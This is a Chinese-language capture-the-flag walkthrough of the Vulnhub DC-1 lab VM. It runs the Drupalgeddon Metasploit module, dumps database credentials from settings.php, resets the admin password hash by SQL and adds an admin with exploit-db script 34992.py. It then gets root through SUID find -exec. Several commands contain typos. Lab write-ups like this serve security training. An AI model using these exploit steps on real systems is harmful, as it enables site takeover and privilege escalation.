Vulnhub-DC-1

配置信息:
靶機下載地址:https://www.vulnhub.com/entry/dc-1,292/
靶機:DC1 (VirtualBox)    IP:192.168.67.200
攻機:Kali  (Local)             IP:192.168.67.109

目標:獲取5個flag

開始遊戲:

nmap -sn 192.168.67.0/24

獲取目標IP地址:192.168.67.200

掃描目標信息:

nmap -A -p- 192.168.67.200

獲取目標開放端口:22 [ssh] || 80[http] || 111[rpc]

獲取目標系統信息:Linux 3.2 - 3.16

發現開放80端口,因此嘗試登錄網頁,瀏覽器輸入:http://192.168.67.200

左上方發現CMS爲Drupal


CMS:Drupal7

Web servers:Apache2.2.22

Programming languages:PHP5.4.45

Operating system:Debian

JavaScript libraries:JQuery1.4.4 jQuery UI1.8.7

使用 wappalyzer 插件確認獲取網站相關信息:

注:Wappalyzer是一款能夠分析目標網站所採用的平臺構架、網站環境、服務器配置環境、JavaScript框架、編程語言等參數的網站技術分析插件


確認 CMS 爲 Drupal,利用msfconsole獲取meterpreter:(use rank:excellent)

search drupaluse exploit/multi/http/drupal_drupageddonshow optionsset RHOSTS 192.168.67.200exploit

在meterpreter下獲取交互式反彈shell:

meterpreter > shellpython -c 'import pty;pyt.spawn("\bin\sh")'$ ls

輸入命令 ls 發現有一個 flag1.txt,果斷查看它,這就得到了flag1

$lslsCOPYRIGHT.txt       MAINTAINERS.txt  includes     robots.txt  web.configINSTALL.mysql.txt   README.txt       index.php    scripts     xmlrpc.phpINSTALL.pgsql.txt   UPGRADE.txt      install.php  sitesINSTALL.sqlite.txt  authorize.php    misc         themesINSTALL.txt         cron.php         modules      update.phpLICENSE.txt         flag1.txt        profiles     user$cat flag1.txtcat flag1.txtEvery good CMS needs a config file - and so do you

每一個好的 CMS 都需要一個配置文件,你也如此。

根據falg1的提示,利用搜索引擎查詢Drupal的配置文件?

得到一個地址:/sites/default/settings.php —— 利用 more 查看全部信息

獲取 flag2,這就得到了第二個 flag2

$more sites/default/settings.phpmore sites/default/settings.php<?php/** * * flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? * */

暴力破解和字典攻擊並不是取得訪問權限的唯一方式(你需要訪問權限),利用這些憑證你能做什麼?

這是 flag2 給我們留下的信息,再回看該配置文件,會發現這裏有關於數據庫的詳細信息:

$databases = array (  'default' =>   array (    'default' =>     array (      'database' => 'drupaldb',      'username' => 'dbuser',      'password' => 'R0ck3t',      'host' => 'localhost',      'port' => '',      'driver' => 'mysql',      'prefix' => '',    ),

嘗試進入 mysql :

$ mysql -h localhost -u dbuser -pmysql -h localhost -u dbuser -pEnter password: R0ck3t

 

show databases;use drupaldb;show tables;select * from users;

查詢有哪些表時,可以很明顯的看到有 users 這個表,果斷 select 一發再說

這就得到了用戶名和一串奇奇怪怪的密碼,再次利用搜索引擎,可搜索:drupal7忘記密碼怎麼辦?drupal7如何重置密碼?drupal7如何修改密碼?類似這些問題,讓開發者或研究人士告訴我們答案

還真告訴了,直接重置管理員密碼登錄。

exit$ls$php ./scripts/password-hash.sh 123456mysql -h localhost -u dbuser -pEnter password:R0ck3tuse drupaldb;update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';

登錄成功


有時直接修改太過明目張膽,那麼有沒有較隱蔽的方法呢?有什麼比較隱蔽的方法能夠也是以管理員的身份去登錄的呢?要不試試添加一個管理員帳號?

首先得知道版本號,看能否利用,一般在modules/system/system.info可以看到版本號,如果不知道,利用搜索引擎也可得知這一信息:

cat modules/system/system.info

得到該Drupal的版本爲7.24

在kali上查詢是否存在添加管理員漏洞可利用:

searchexploit drupal

發現有 Add Admin User 可以利用且版本符合條件

copy一份到家目錄下,隨後添加一個具有管理員權限的賬戶

cp /usr/share/exploitdb/exploits/php/webapps/34992.py /root/34992.pycd ~python 34992.py -hpython 34992.py -t http://192.168.67.200 -u whoami -p 123456

登錄成功


隨後瀏覽頁面[每個按鈕都去點],看有無新發現,在find content找到了flag3

點擊 flag3,可以獲得flag3詳細信息:

特殊的PERMS可以幫助找到密碼-但您需要-exec該命令來隱藏的內容。

很明顯的提示:find+perms+exec 命令用來提權

首先利用 find 命令查看有哪些 suid 命令:

find / -perm -4000

利用 find 提權,find 提權有兩種方式:


/*這是第一種*/find ./ acce -exec '/bin/sh' \;


/*這是第二種*/touch bccefind bcce -exec '/bin/sh' \;


這就拿到了 root 權限,查找有無flag4

可以發現 flag4 是一個用戶...

find / -name "flag4cd /home/flag4cat flag4.txt

你能利用同樣的方法用root權限找到或訪問到flag嗎?

貌似我們已經進入了root環境下,竟然flag4在家母錄下,那麼flag5會不會在root目錄下?

—— 找到 flag5:thefinalflag

遊戲結束


總結:

0:MSF 漏洞模塊利用

1:配置文件

2:搜索引擎的合理應用

3:提權

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章